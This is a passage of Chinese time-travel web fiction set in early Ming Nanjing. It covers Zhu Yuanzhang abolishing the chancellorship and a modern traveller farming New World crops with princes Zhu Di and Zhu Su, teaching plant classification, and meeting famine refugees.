“杨大人……”胡惟庸一边想着,一边走出文官队列,站到了殿中央,正准备说些什么。 没想到那杨御史却没有给他说话的机会。 额头冒汗的杨御史提高了些音调,大声说道:“弹劾胡惟庸胡大人!心怀异志,图谋不轨,有悖朝廷!” 若刚才的弹劾是惊雷。 那杨御史刚才喊出的话语。 那便是山崩了。 所有人的目光都转向了胡惟庸。 包括朱元璋。 胡惟庸也是马上就反应了过来。 这不是敲打! 这他妈想干嘛?! “杨大人你是在胡言乱语什么?!”胡惟庸知道这些事情是决不能承认的,立马开口怒斥道。 那杨御史也是压力极大。 虽说他们当官场搅屎棍当惯了。 但是今天参的可是权势滔天的胡惟庸啊…… 朱元璋满意的看了看下面人的表现。 “杨御史,你这参的可是胡相啊,可有证据啊。” 唱戏要唱全套。 杨御史听着朱元璋说证据,终是松了口气。 自己的戏份差不多了。 他连忙应承了句。 “禀陛下,在此。”他连忙把捏了许久的那沓纸张交给了那太监,递给了朱元璋。 胡惟庸看着那沓纸,冷汗直流个不停。 这老朱是有备而来。 这什么情况。 他是找到了代替自己的人? 不,不可能,汪广洋头七才过了几个月,韩国公又年事已高,而那刘伯温这些年已经被自己打压得像鸵鸟一样了。 这是怎么回事! 他心脏砰砰跳个不停。 却也只能犟着站在那里。 只希望那沓纸上写的东西,能让他有狡辩的余地! “好你个胡惟庸,图谋不轨!!!”不多时,朱元璋猛地拍了下椅子,站了起来。 久经沙场的老朱,目露凶光,看向了下方的胡惟庸。 而后,一把把那纸甩到了胡惟庸身旁。 “自己看!!!”朱元璋怒笑道。 胡惟庸抖了抖,他捡起了纸张。 那是自己和那些官员交往的书信。 事无巨细……该说的不该说的都有。 皆列在了上面。 怎会如此! 自己经营了这么多年,门下官员无数。 势力盘根错节。 这些书信可以说是正常来往,也可以说是结党营私。 但是这朱元璋怎么敢就这样对自己动手?!!! 他不怕朝堂震动?! 他不怕政事荒废?! 他怎么敢…… 自己死了,谁能指得动这批文官? 凭那浙东的不成器的酸儒?! 正是因为他善于观察人心,洞察时势,他才觉得朱元璋不会对自己动手,他还有价值! 但是这弹劾! 还有这沓证据! 胡惟庸站在那里,思绪混乱。 最终,却是笑了起来。 那是咬牙切齿的笑。 “朱和尚,你当了皇帝之后,就卸磨杀驴!你无情无义,只知道维护自己的皇权,我是当朝宰相,位高权重,你不能杀我!!!” “我为何不敢杀你?!!”朱元璋听见胡惟庸那难听至极的话语,不由得也是怒了起来。 “这个大明,需要我这个相!没有我,他们算是什么东西!”胡惟庸愤怒地指了指下面的文武百官。 过半的人都曾经受过胡惟庸的恩泽。 但是现在这个情况,谁敢出头? 谁敢去用自己的脖子测量老朱铡刀的锋利? “相???咱不仅要废了你这个无法无天,目无君臣的奸相,还要咱大明,未来无相!!!以后,大明,不再设宰相一职!!!” 朱元璋的声音如同雷霆炸响,带着无法容忍的威压,卷向了下方的胡惟庸,和愕然不已的,文武百官。 第三十七章 愿,来年,有个好收成(求追读!) 被朱棣和朱橚架到城门外的朱安宁,并不知道,因为他随口键政的内阁制,胡惟庸案,提前了些时间,发生了。 朝堂上现在正乱作一团。 废相,且以后不设相位。 前者和后者,都是足以让朝堂震动的大事。 百官都知道,屠刀是要下来了。 而那些与胡惟庸关系密切的陈宁、涂节等人,更是直接抖成了筛子。 刚下令把胡惟庸拖出去的朱元璋,把百官的表现,都看在了眼里。 “标儿,好好看下下面的人,发抖的,幸灾乐祸的,冷眼旁观的,你要把他们的表现记在心里,看他们,多么地丑陋。” 站在朱元璋身旁的朱标,则是叹了口气。 他正在思考,是否要劝解一下自己的老爹,要不,还是杀少些人吧……毕竟现在内外才刚稳定不久。 而朝堂外的应天府郊,现在依旧岁月静好。 朱元璋只是举起了屠刀,暂时还未落下。 所以这风,还依旧和煦。 也许过不了几日,这城里,将会蒙上一层血腥的味道罢。 “我才刚进城啊!”站在城门外的朱安宁有些无奈,他是想好好逛那秦淮河的嘛,那边的青楼……嘿嘿嘿,咳咳,还有孝陵……不对,朱八八都还没死呢,哪来的孝陵…… “朱哥,耕地要紧啊。”朱棣随口诌了个理由,手上那是更加用力了些,他想快点把朱安宁拉到官差看不到的地方再说。 而朱橚却是被朱棣的话惊到,突然松开了架住朱安宁的手。 “啊?种地?” 这让朱棣和朱安宁一下就失去了平衡,差点踉跄着摔进路边的沟槽里。也引来了几个路人的嘲笑。 也不怪朱橚惊讶。 作为皇子的他们,虽然幼年时期确实过过一段颠沛流离的生活。 完了老朱也会安排他们搞体验民情之类的三下乡活动。 但是,堂堂燕王,现在说耕田要紧。 这一下就把我们周王殿下的大脑给干转不过来了,四哥去打仗很合理,甚至说四哥去舞文弄墨,也还说得通,现在你说四哥去耕田,那…… 他疑惑地看向了自己的四哥。 只见那朱棣正在努力恢复正常的行走姿态。 而对于朱橚的发问,朱棣也是知道自己多嘴了…… 可是话已经说出了口,也收不回去了啊。 哎,烦呐,说漏嘴给老五,不会被老爹骂吧,算逑,到时先跟大哥说吧……挨揍也还有大哥护着……希望大哥能和平时一样给力,护自己周全…… “就是耕地呗……”朱棣还想打个哈哈就过去算了。 朱橚本就是聪明的人,但是一旦涉及到他的兴趣点,他哪还顾得上看他四哥的眼色。 “四哥,耕的什么作物啊,还需要你亲自去种?!” 能让燕王朱棣亲自去耕作的东西,定然不是什么普通玩意。 朱橚敏锐地注意到了这一点。 一旁的朱安宁也看出了点端倪。 只觉得这一家子真好笑。 大概是伍爷怕知道的人多说漏嘴? 所以只告诉了自己这四儿子?他是有多喜欢这四儿子啊,现在这耕地可是大功一件啊,这老伍头,是不待见自己大儿子么?怎么不把大儿子放过来嘛,莫不是未来的家业都想给这个伍燕继承吧? 朱安宁在心里吐槽了几句,但是也知道,清官难断家务事,自己就是和那老伍头是创业合作伙伴关系,最好别掺和人家的家务事。 那现在这伍燕都说漏嘴了,不如好好解释算了。 “就是我从域外带回来些作物,亩产量较现在的水稻小麦要多些,所以我便和伍爷,也就是你们老爹相约试种一下,看下这作物能否在我们这儿种。” “伍爷……啊……哦?新作物?还是域外的?有意思。”朱橚的眼睛一下就亮了起来:“亩产要稍多些,那能有多少呢?” 朱安宁却也没有马上回答。 他呵呵笑了两声,然后和朱棣一起继续走了起来。 朱橚也是一下进醒悟了过来,这可是城门口。 不说比肩接踵,也是人流如织。 这种事情,不好讨论。 于是也是识趣的跟上了他四哥和朱安宁的脚步。 直到走到主干道的末尾,人流已经相对稀少的地方,朱安宁才开了口。 “一种十石,一种七石,具体是多少,还得看我们的种植情况。” “多少?!” 和朱棣等人的反应一样。 朱橚也睁大了眼睛,一副见了鬼的表情。 他与他的几个胞兄最大的不同就是,他更为同情平民,也比他几个哥哥更知道民间的疾苦。 这或许就是共情能力的差别吧。 早些年他和朱棣一起被派驻回凤阳时。 他可是亲眼看到了蝗灾之下的百姓,欲哭无泪的样子。 那种无力感,他到现在都无法忘怀。 人祸可挡。 天灾呢? 作为皇子的他,做不了什么。 而就算是贵为天子的他老爹,一样也做不了什么。 最后,只能是赈济灾民,乞求明年有个好收成罢了…… 所以,现在朱安宁告诉他。 有能把比水稻小麦亩产多几倍的作物出现。 他怎能不震撼! 怎能不激动。 未来本就会做那悬壶济世之事,就算被夺去王位还不忘救病医人的周王,是真的惊到要跳了起来。 “那全国推广此种作物,哪还会有饥荒?!就算再遇上天灾,也能靠历年储备的这作物熬过去吧!” 他的语速快乐起来,越说越激动。 “小声点小声点,五弟你嚷嚷这么大声干嘛……”最后还是朱棣出了手,他一把按住了自己的弟弟,终于是让朱橚稍微冷静了些。 “小周,反正都出城了,去看看?” 朱安宁也觉得这小周未免有点太激动了吧……他也只能当朱橚是年纪小性格燥,哪能想到他只是提了个产量,这朱橚脑中就已经快进到了天下再无饥荒…… “好好。四哥,我能去看么?”拾回了些理智的朱橚,也知道自己似乎是参与进了一件他本不该参与的事情里。 于是连忙向自己四哥朱棣问道。 那朱棣翻了个白眼。 自己说漏嘴,而朱安宁又已经把情况全部说完了。 还能怎么样…… “哎,走吧,一起去吧。” “好嘞。” 于是,朱橚眉开眼笑了起来。 第三十八章 哪来的高锰酸钾(求追读!) 蒯富正带着人在那里热火朝天地干着活。 那些材料的运送本来是极为繁琐的。 但是朱元璋大手一挥,城里储存的材料随便他们用,那就简单多了。 只要起得早些,便也没多少人会看到他们拖材料过来。 更何况现在的应天府,正是到处都在营造的情况,路上看到拖运材料也不是一件多么出奇的事情。 太阳已经又升高了些。 蒯富正在按照自己的经验计算着工序的时间,同时,他也想印证一下朱安宁给他的那些图纸上的情况是否对得上。 他已经和朱元璋报告过这些图纸的价值了。 老朱给他的任务是,先印证,再汇报工部,目前先不要声张。 几名工匠,过来和他交流了一下。 当蒯富再次抬起头时,却发现那小道上出现了熟悉的人影。 “怎么周王殿下也来了……”蒯富只当也许是朱元璋安排的罢。 这朱安宁,必须好好交好…… 蒯富看着走过来的三人,连忙迎了上去。 “朱公子,还有两位爷……”他上去就是一个规矩的行礼。 倒是把朱安宁弄得不好意思起来。 这蒯富,不愧是著名工匠……的爹。 这真是讲礼貌啊。 便也像模像样地学着蒯富的样子回礼。 而他身后的朱棣和朱橚,只是微微了点下头。 “蒯工,目前没问题吧。”是朱安宁在询问,这房子可是长这么大他的第一套房产啊,要说不在乎,那是不可能的。 “呵呵,才刚开始建呢,而且建这院落,您都把细节都给我标好了……我们就照做就是了。”蒯富指了指图纸,乐呵呵地笑着。 “嘿嘿,蒯工,不用吝啬材料,帮我建好些哦。”朱安宁也再次拜托,农村自建房,材料最重要!只是自己什么也不懂,只能拜托专业的啦。 这说法倒是让蒯富愣了愣,他不自觉地看向了后方那堆得高高的木材。 还要多好,宫里也是用这些啊……总不能给朱公子你上金箔吧,这地儿再怎么样也是郊外啊…… 而很快,就有人打断了他们的闲聊。 “蒯工,这边……”是工匠在招呼他。 “三位爷,我先去看看情况。”蒯富连忙先应了声,然后回头向朱安宁他们又行了个礼。 “啊,去吧去吧。”朱安宁则挥了挥手,让他快去。 拜托了,我的自建房就交给大哥你了! 朱安宁还是很满意朱元璋请的施工队的。 毕竟蒯富也是历史有名的人物……他爹。 看着就靠谱。 而朱橚,却在心里掀起了些波澜。 这蒯富,他是知道的,是宫里的匠人啊,平日可是负责修缮宫殿的啊,今儿居然被派来这里的。 看来自己的老爹对这新粮一事,确实很上心。 朱橚在心里作了判断。 而还有让朱橚更好奇的是,那白色的巨大房舍……马车?反正是奇奇怪怪的东西。 怎么除了自己,所有人都好像不在意似的…… 只是现在也不好发问,具有旺盛探究欲的朱橚,只得暂时按下这好奇心。 那些工匠在远处热火朝天。 朱安宁,也就没有再管。 他领着朱橚朱棣,走到了田前面。 “田在这边,不过现在也看不出什么啊……昨日我才和你哥刚把作物种了一批下去。” 朱安宁撇了撇嘴。 耕种,本就是需要时日的。 哪能说一天两天就能搞定。 自己有没有什么签到啊,积分兑换物品的系统…… “这么一片地……”朱橚接了下话,然后却也突然蹲了下去,摸了摸那土壤,而后开了口:“朱哥,这之前是荒地吧。” “嗯?这地确实是荒地,你怎么知道?” 朱安宁也像模像样地学着他蹲了下来,在那摸着泥土……然后,什么都摸不出来。 朱橚叹了口气,站了起来,看了一眼自己四哥。 也是有些无语,自己这四哥是真的只看过耕地,要说真的去耕,好像也不是很靠谱的样子。 只是也不知道这朱哥……能不能听懂自己接下来要说的东西。 “朱哥,你这没有施肥啊……” 他捏了捏干碎的泥土,看向了朱安宁。 “你是说这事啊,因为是新粮,我们不敢太过声张,一时半会又弄不到粪肥,我便让……我便和你哥一起挑了点泥肥,喏,在那树下和干草一起沤着,得等些时日才能用。” 朱棣在一旁,听得是相当不爽……什么和我一起挑,明明就是自己挑的啊……可恶啊…… 而朱安宁的话,则让朱橚是有点哭笑不得了。 如果把这件事情报给自己父皇,秘密送十车粪肥过来都是轻轻松松的好么…… 而且,现在也不是粪肥的问题。 看来这朱哥,确实是学过些耕种的事情,还知道用泥肥。 “但是朱哥,肥不是大问题,荒田你不烧一轮,里面恐怕会有虫卵啊……” 朱橚也站了起来。 像极了经验老道的老农般,说出了重点。 而就是这简单的一句话,让朱安宁猛地吸了一口凉气。 他终于意识到了一件重要的事情。 这里是明朝。 不是现代。 自己找的资料,是现代的农书! 而自己这半吊子非农学专业的生物本科生…… 看资料只看步骤,也没细想这些步骤是用来干嘛的。 做不到的就直接略过拉倒。 比如低浓度高锰酸钾浸泡,喷洒这件事情…… 杀虫,防腐病啊!!! 猛然惊醒的朱安宁不由得对这朱橚刮目相看。 这伍家可以啊,一个老四干活老实,一个老五明明是个地主家的儿子,却好像很精通耕田啊! 看见朱安宁的样子,朱棣也知道他五弟是说到点关键的东西了,不由得也好奇了起来。 “五弟,你怎么知道这么清楚。” “啊,在府……啊,是在家里我不是种了些草药么……前些年认真学过。”朱橚说的倒是实话。 而朱安宁也顾不得说些什么了,连忙对朱棣和朱橚招呼了一声道。 “幸好是昨日埋下去的,赶紧把那番薯土豆都挖出来罢!” 至于辣椒种子和玉米种子,车里冰箱里还有,这倒不着急。 而且最坏的情况就是这批番薯土豆都完了,车里也还有,但是不能再犯二了……不然自己这真的是白穿越了…… 恼火地挖着土的朱安宁,一边把挖出来的番薯土豆丢到一边,一边看向了朱橚。 他知道自己犯了一个大错误。 这明朝耕地,就应该按照开工天物或者农政全书一类来耕种先,然后改良种植方法一事……需要自己重新学习一遍大学的教材再说…… 现在问题就是,开工天物,农政全书pdf繁体版本自己闲得蛋疼的时候收集过。 但是以现在自己这脱离了高三好几年的智商…… 大概率是不能全看懂这繁体文言文的。 要不?自己打印出来,让这伍周看看? 他好像很可以的样子呀。 第三十九章 菊有几种?(求追读!) 三人哼哧哼哧刨了一会,便搞定了这小半亩地。 被自己sb操作搞得一身是汗的朱安宁,终于是可以缓口气了。 看着和他一起劳作的两兄弟,朱安宁也没有再吝啬。 他几步就跑回了车里,拿了瓶可乐,和三个杯子出来。 “小燕,你给小周倒着喝先。”说完话的朱安宁,也没管那一脸疑惑的朱橚,和喜笑颜开的朱棣,他转身,就又回到了车里。 麻利地打开电脑,朱安宁点开了那看一眼就眼晕的繁体农政全书……只觉得自己装什么逼收藏繁体原版的……明明书店里就有简体译本。 装什么逼嘛,哎,现在坑死自己了…… 盯着屏幕寻了半天,他终是找到了那种植一章。 种植所记载的植物及其栽培方法,据统计,有159种,皆国人千百年来衣食住行取资之源。 都是徐光启以其慎审之科学态度,广征历史文献,加之实地调查,乃至亲自实验,所得。 因此书中所记植物之形态、特征、价值及栽培方法,大多信而有征。 只能说这老徐做官一般般,虽然最后做到了高位,但是评价就是无功无过。 不过,作为科学家那是彪悍啊……千古留名的级别。 调整好书页大小,朱安宁很快就打出了这份种植篇。 然后坐在车里缓了缓。 那伍周,明明挺年轻的,但是对耕种这种事情又好像挺擅长,说起新粮,开口就是再无饥荒……这格局也不小啊,真是奇了怪了。 只是伍周伍周……历史上好像也没这号人啊,怕就是民间的那种小能人罢了。 算了,这种植篇章,如果他能看懂,就算是经他手,看下能不能提前发扬光大了。 如果不行,自己再想办法,总之回来了,这些相比明初要前卫的知识,是必须要传播出去的。悄悄的那种…… 中华民族的伟大复兴……不管何时何地,都是要做的事情! 朱安宁,算是意识到了自己这房车里,重要的东西不止是那些作物。 他电脑里面的资料,也是足以支撑这个朝代跃升的! 只是,需要些方式方法吧…… 还是那个说法,直接一股脑丢给老朱,那是最简单的方法,自己也能获利。 但是……他是真不想和老朱有什么瓜葛。 那个胡军电视剧里,后期疯魔般的老朱,真是太哈人了。 朱安宁叹了口气…… 只觉得穿越前自己天天看小说,那些个主角办事那是一办一个准,轮到自己穿越了,种个番薯土豆都差点翻车…… 真是给穿越众丢脸。 幸好这次遇上了这伍周,不然自己可能得实验个两三次才能醒悟过来,倒是不说番薯土豆会不会给自己耗尽,万一万一全砸了,那真就完犊子了。 所以说,这农政全书的种植篇章,就权当是给他的谢礼了吧,希望他能用这小部残篇,飞黄腾达。 如果他看得懂,会整理。 未来他自己交给官府,是极好的。 打定主意的朱安宁,没有再继续患得患失。 他拿着打印纸,就下了车。 而那朱棣,和朱橚,正在树下,像阿美莉卡的那些道友般,喝着可乐。 这东西,对明朝人来说,绝对上头。 “四哥,这个可乐太爽了!太爽了啊,此物只因天上有啊。” 是朱橚在那感叹,被那激爽的感觉刺得有些发抖。 已经喝了两次的朱棣,则表现得相对淡定些。 “啊……舒坦。”朱棣叹了口气,摆出了个舒适的姿势。 然后,喝嗨了的两人,此时,才注意到走到跟前的朱安宁。 朱安宁没有再犹豫,而是直接把那种植篇递给了朱橚。 “小周,这是我在域外行走的时候,师父教授于我的,说来惭愧,我学艺不精,而你好似对种植一事很感兴趣,那便赠与你吧。” “书?”接过纸张的朱橚,连忙喝完了杯中的可乐,忍不住又啊了两声后,才开始看了起来。 而那朱棣,也凑了过去。 两人一看,就沉浸了进去。 朱安宁也没有打扰他们,而是拉了张椅子,在旁边等了起来。 不知过了多久。 朱橚抬起了头来,长长地吸了口气。 “朱哥……你这师父……” “徐光启。”朱安宁不想用其他名字,他觉得,徐光启这三个字,就应当名留青史才对。 “真是……真是高人啊,事无巨细,分门别类,甚至连种植的湿冷情况都记录得一清二楚,而且有些法子,似乎……似乎不是我们当今在用的啊,这些法子真的有用?” 呵……那肯定有用啊! 农政全书的种植篇可是封建时代农耕的集大成啊。 其实这书更重要的是水利篇和荒政篇,但是前者是官府的指导篇章……后者那是救灾用的,给这地主家的儿子他也用不了啊。 这是朱安宁的想法,所以他只打印了其中的种植篇。 “植物之形态、特征,是分门别类的基础,方才在城里你不是说对这个感兴趣么。”朱安宁笑了笑,他看得出,朱橚是懂行的人。 而朱棣,则是从另外一方面在感叹了。 “这农书!朱哥,对朝廷可有大用啊!” 他目光灼灼,虽没有朱橚那么懂行,但是他也看得出,其中的耕作技术,是相当有用的。 而朱橚也平复了下自己的心情,然后站了起来,对朱安宁行了个大礼。 “谢谢朱哥。” 朱安宁却也只是摆了摆手:“行了,你看得懂,喜欢就行。” 只见那朱橚仔细地把那种植篇收好,然后走到了一株植物前,忽然开口问道。 “朱哥,你说植物之形态、特征,是分门别类的基础,之前在城里又说,您能教我,那可否请教下,这株植物……” “菊花脑,也就是野菊,可食用,这就是南京城附近到处都可见的植物。” “这个呢?” “山金菊。” “朱哥,未开花你也认得?” “辨别植物,又不止看花这一特征,根茎叶都可识别啊。”朱安宁笑着上去捏了捏山金菊,也就是金盏花的叶片,那些熟悉的叶脉,还有明显到不行的单叶特征和平行叶脉。 朱橚的眼睛倏地亮了起来。 原本他觉得这朱哥,耕种一事疏于细节,所谓的教自己植物辨别不过是嘴上说说。 没想到,他是真的有点东西啊! 朱安宁又绕了小半圈,看到了第三种植物。 “喏,这也是菊。”他指了指。 却让朱橚眉头挑了起来。 “菊?”这明明是蒲公英啊…… 第四十章 泡面也会吃吐(求追读!) “对了,这也是菊。”朱安宁又指了指脚下那不起眼的草。 而朱橚,已经多少有点凌乱。 刚才朱安宁指的是蒲公英和地胆草…… 这两种东西,和待到秋来九月八,我花开后百花杀。冲天香阵透长安,满城尽带黄金甲……的菊花有什么关系?! 朱安宁看那朱橚,既伍周,一脸懵的样子。 也是不由得叹了口气。 明朝,要建立科属观念,还得是等洪武帝死后,周王被贬,去到云南才慢慢总结出来。 在此之前的民间也好,官家也罢,都是安个名字,书里记载下就了不得了,哪会有人去分门别类啊。 所以他也明白这伍周为什么会一脸茫然。 便也耐着性子慢慢解释。 “小周,你看这地胆草,还有刚才我指的蒲公英,其实叶形相似……”一边说着,他一边把地胆草和蒲公英都拔了起来,继续说道:“你看,根亦没有什么大差别。” “那这和菊……” 朱橚还是没反应过来。 朱安宁笑了笑,跑去把那菊花脑也拔了出来。 “叶和根都更大,但是,和之前那两株,也差不多吧。” 他把三棵植物丢到了地上。 朱橚则蹲了下去,这是他第一次有了分门类别这一想法。 “朱哥你的意思是,这种具有许多共同点的植物,其实是同一种?!” “同一种的话,为何又要分那么多名字呢。你叫他们同一属岂不更合适?属于相似的一类,但是又不是同一种。”朱安宁点拨了一下。 他总不能说像高中大学老师教的那样直接给朱橚灌输这些知识。 朱安宁只能换了个说法,希望朱橚能理解。 而朱橚,也不愧是未来的药王,他若有所思地点了点头。 “这几种植物,确实也是有清热解毒的功效,但是具体下来,却也略有不同,很符合朱哥所谓的同属不同种的感觉……” 两人在那里说了半天。 还在那喝可乐的朱棣却也没有阻止。 他只是觉得这朱哥真有趣。 吟诗有一手,耕田好像也还凑合……就是一般凑合。 但是现在来看,这草药一类,他很精通啊。 再结合一下昨晚老爹和那蒯富的说法。 他既通政事,也晓些工部的营造…… “通才?”朱棣突然意识到了一些事情……这朱安宁朱哥,好像什么都会点啊…… 这等人物,就想着窝在这里,大丈夫之志应如长江东奔大海……不行,自己得想些法子……做点事情…… 朱安宁自是不知道,自己只是随便展露了点东西,这朱棣就已经起了这么多心思。 他只是觉得这朱橚真不错,放在古人来讲,那已经是相当厉害了吧。 老徐的书,给他应该没有给错。 那现在休息也休息够了。 朱安宁觉得是时候重新把这些土豆和番薯种下去了。 玉米晚些也要再掰些玉米粒下来,辣椒那就不用说了。 要是自己穿越回来的朝代里,没有辣椒,那将是多么遗憾的一件事情…… 只是得吸取之前的教训。 他刚才在房车里时,已经又重新看过了一遍那徐光启的农政全书。 不过是用草木灰代替高锰酸钾一类消毒剂而已。 也刚好,这荒地,搅拌些草木灰进去,也算是增钾肥,只是量不宜太多。 配比什么的,老老实实按照农政全书上面的描述,朱安宁拾了一大把干草和枯枝,趁着午间时分快到,各家都已经炊烟袅袅的时刻,点了一把火。 总算是弄够了这草木灰,顺便把那荒地燎了一遍,算是消杀了一轮。 挑去已经坏掉的土豆,朱安宁把剩下的给切了块,然后拌匀草木灰,指挥着朱棣和朱橚种了下去。 而番薯,就直接丢到了已经拌匀草木灰的土里,依旧是需要催芽后再切块。 忙活了小半天。这午时早已过去。 他们三人回过头去到房车附近时。 那群工匠,已经不知道去了哪里。 想必是已经吃完干粮找地方休息了吧。 饥肠辘辘的朱棣和朱橚,不自觉地看了眼朱安宁。 毕竟这算是他的地盘。 而且两兄弟都算是在他手下打工的,管个饭,总是要的吧。 朱安宁也是一阵无语。 这和自己的计划不对啊。 本来他清早是准备进城逛逛,然后顺便把手里的钱银换些物资回来……毕竟天天消耗现代带来的东西,他心痛啊…… 结果才刚到城里,就遇见了那纵马的李三江,和伍家两兄弟……接着就被架了出来。 现在又这个点数了。 再做饭,得做到什么时候…… 靠。 又得掏物资出来了。 朱安宁是一阵无语。 却也马上就想通。 反正都得吃,不吃也要过期…… 他准备做的是,现代最伟大也是最让穷B痛苦的发明,据说会营养不良但是发明者吃到现在还活蹦乱跳的,一包吃不饱,两包撑得慌的,袋装泡面…… 自己车里还有一大箱呢。 就给这两小伙煮几包吧。 要说自己全吃了,想想也难受。 你要说卖给明朝的人……那还得教他们泡面…… “哎,我煮给你们吧。”朱安宁叹了口气。 只觉得自己最近好像天天做饭给这伍家的人吃,真是造了什么孽啊。 朱橚看着转身过去准备生火的朱安宁,正想叫住。 却被朱棣一把拦下。 “你朱哥做饭好吃得紧……你就在这等着。” 朱橚还想说些什么,他老哥却已经把他一把按下。 朱安宁也不敢在这两明朝人面前明目张胆地用打火机,而是在那厨具旁摸了老半天才摸出镁棒来。 这玩意好歹还能解释,打火机就太魔幻了。 于是,不太熟练地生火后,架锅加油那是再熟悉不过的事情,三颗鸡蛋打入锅中,微微煎定型,而后是加水煮沸。 不多时,那锅中水便开始冒泡。 朱安宁快速加入了那泡面中拆出的调味料。 就这一瞬间,异香扑鼻,让朱家两兄弟食指大动起来。 “呵呵,别流口水,我都还没下面呢。” “朱哥,这是什么啊!也太香了吧。”朱棣和朱安宁要熟悉些,也就没有像朱橚那般规矩,他一下就凑到了锅前,贪婪地在那吸气。 而朱安宁却是翻了个白眼…… 香是吧,穷逼的时候吃上一个月,看你吐不吐…… 第四十一章 直面灾民(求追读!) 白色的蒸汽弥漫在田间路旁的房车帐篷下,散发着阵阵诱人的香气。 三碗碗热气腾腾的泡面摆在桌上,面汤澄澈透明,微微泛着金黄色的油光。 碗里还搭配着鸡蛋,诱人异常。 朱棣吃完了第一包泡面。 朱安宁并没有觉得怎样。 反正自己有一箱。 当朱棣开始看着自己煮第二包时。 朱安宁只觉得这个小伙子很有自己以前的感觉,饭桶嘛。 而当朱棣吃到第三包时。 朱安宁终于意识到了。 这不是一般的饭桶。 这是个很能吃的饭桶…… “你是真能吃啊……你家人也这么能吃么?你怎么吃不胖啊……你爹你弟也不胖啊……” 朱安宁看了看在那吃面跟喝水似的朱棣,又看了看吃得相对文雅些的朱橚。 只觉得,这两人真是一个爹妈? 对哦,这是明朝,不好说不好说……人家的家事,自己也不好问。 朱橚和朱安宁一人分了一包半……也就是正常人的饭量。 而吃得差不多的朱橚,看着朱安宁震惊的样子,也是有点无语,毕竟这丢人的是自己的哥哥。 “呃……朱哥,此面确实好吃,比昨日的土豆烧肉还好吃。” 听完朱棣的话,朱安宁的白眼差点翻上天,真就是古代人啊,放现代,哪个社畜不是泡面吃到吐…… “你喜欢就好……” “朱哥……此面能否卖我些,太好吃了。” “我这也不多,你实在想要的话,我送你几包吧……卖就不必了。” 朱安宁并没有太多吝啬,自己也挺喜欢这两年轻人的,和他们相处有种回到了大学的感觉。 “当真!那就谢过朱哥了!” 朱棣眉开眼笑起来。 这个年纪的他,还没有那么多愁事,能得到朱安宁的几包泡面,已经足够让他开心小半天。 朱安宁看着眼前那地主家好四儿,不由得摇头笑了起来。 吃泡面要比做饭要方便太多。 三人坐在房车边上,就这样吃完了午饭。 朱橚和朱棣更是把汤都给喝了个干净。 吃饱喝足,年轻人瞬间就恢复了活力。 “好了,朱哥,吃饱,继续干活?” 朱安宁只觉得这朱棣是不是勤奋过度啊,他老爹也是这么勤奋的么…… “你把旁边那块地也开了吧,我想再种些其他东西。”青壮年劳动力主动提出要免费加班,本项目的创业ceo朱安宁并没有拒绝的理由。 “好嘞。”本着吃得多就该多干活的朱棣,一把薅起了自己的弟弟:“五弟,走,耕地去。” “诶……哥……哥,我才刚吃饱……” 可惜,朱橚的反对,无效。 朱安宁作为本创业基地的ceo,却也没有跟上员工们的步伐,他走到田边,预估了下这田地的大小。 正当他在想再种些什么时。 道路的尽头,隐隐传来了些许嘈杂的声音。 这让三人意外了起来。 这土路的尽头说是主干道,其实也就是条使用率不高的官路而已。 怎么今儿这么喧嚣。 这不对劲啊。 两人皆是看向了朱安宁,想等他拿主意。 “走,去看看怎么回事……” 三人没有多言语,几步便绕过了遮挡房车的小弯,越过那高高的杂草地。 然后便来到了开阔的支路上。 一眼看去,他们便知道了这喧闹声音的来源。 “是灾民……”朱棣缓慢地开了口,语气中满是沉重。 朱橚则是站立不语。 而朱安宁。 也是定定地站在那里。 昨日,他在打游戏,玩乐似地开始种了些东西,还差点种砸了。 今日,他跑去了应天府城里,想看看古代人的生活是怎样的。 他就像个乐子人般,穿越到了这明初洪武十二年间。 毫无实感地活了几日。 即便是想着要做些什么,也不过是随手而为。 就像他曾经度过的二十多年那般。 高中是为了考大学,考大学是为了工作,结果工作时是踏马的996,嘿,那就辞职去旅行吧。 他始终是没有见过苦难的人。 而今天。 他见到了。 不同于电视剧里那些故意让人热泪盈眶的狗屁倒灶桥段。 现实,永远更具冲击力。 灾民们在穿越土路,背后是尘土飞扬,浩浩荡荡的队伍,看不到尽头。 天空明明是晴朗无云,却依旧能让人感到阴沉。 他们离开了生自己养自己的土地,背井离乡,即便有官府的帮助,也就是勉强得到了几口路上的口粮而已。 饥一顿饱一顿是常态,走到半道上倒下再也起不来,也是常态。 所以……没有人说话,也已经说不出话,大部分灾民的眼神,都是空洞而茫然的。 偶尔有人倒下,大部分人也无暇顾及,只有少数几个穿得还算体面的,大抵是随行官员一类的人,过去把人搀扶起来。 衣衫褴褛的他们,在沉默行军。 朱安宁也沉默了。 “是太原那边的灾民……那边已经旱了好几年了,本来终于种活了点粮,结果又遭了蝗灾……苦啊……太苦了。” 朱橚咬了咬牙。 他作为这五皇子,没有像他大哥朱标那样直接参政议政,但是好歹也是知道点事情的。 太原遭灾一事,朝堂已经讨论许久了。 “不止是太原,这些年,天灾不断……天下是太平了,但是真正的太平日子,还没到来。” 朱棣也开了口,是叹气,也是无奈。 “咱们没有修水利?”朱安宁咬了咬牙。 “有,但是这等工程之浩大,尚需要些时日。” “干旱久了,能不蝗灾么……”朱安宁长吐了一口气:“故涸泽者,蝗之原本也,欲除蝗,图之此其地矣……” 这是农政全书上相当著名的一句话。 也是他大学时期老师讲过的案例。 “朱哥……这有关系?” “蝗虫这等害虫,只会在干涸的泽地里孵化出来,你只要能引些沟渠水过去,就能淹死这一批这些祸害!” “当真?!”朱橚叫了出声:“怪不得干旱久了就会蝗灾!” “真啊,但是,像小燕说的,水利水渠……又不是一天就能挖好的哎……” 朱安宁叹了口气,却又继续说了下去:“如果说旱灾不严重,只是蝗灾的话,还是有法子可以略微挡一挡。” 第四十二章 农业那些事(求追读!) 治虫,那可是太多法子了。 当然最简单的就是喷洒或施用农药呗。 只是现在明初哪来的工厂给他去调配药水啊,就算他知道配方,也巧妇难为无米之炊啊…… 所以靠生物去防治或者靠物理方法去防治,是现行最有效的方法了。 朱橚一听朱安宁有法子,立马就走到了他的身前,激动地问道:“朱哥你真有法子?” “法子是有,但是还是要靠人力。”朱安宁转头对两人说道。 “人力?不会是派人去抓吧……朱哥,这蝗虫铺天盖地,人哪抓的完啊。”朱棣有点哭笑不得。 “我说的人力不是说派人去抓……其实本来还有更简单的方法的,鸡鸭鹅一类的家禽最喜吃虫或虫卵……但是灾年,农民都快活不下去了,就别说这些家禽了吧……怕是早就被吃干净了。” 朱安宁顿了顿,继续说了下去:“蝗虫,趋光。” “趋光?”朱橚有些疑惑。 “飞蛾扑火听过吧。” “听过……” 